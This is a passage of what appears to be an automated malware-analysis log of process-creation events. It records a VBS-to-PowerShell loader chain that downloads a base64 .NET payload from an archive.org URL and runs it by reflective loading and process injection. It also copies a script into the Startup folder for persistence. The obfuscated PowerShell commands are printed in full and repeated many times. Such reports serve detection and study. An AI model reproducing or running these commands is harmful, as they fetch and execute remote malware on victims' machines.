'+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2No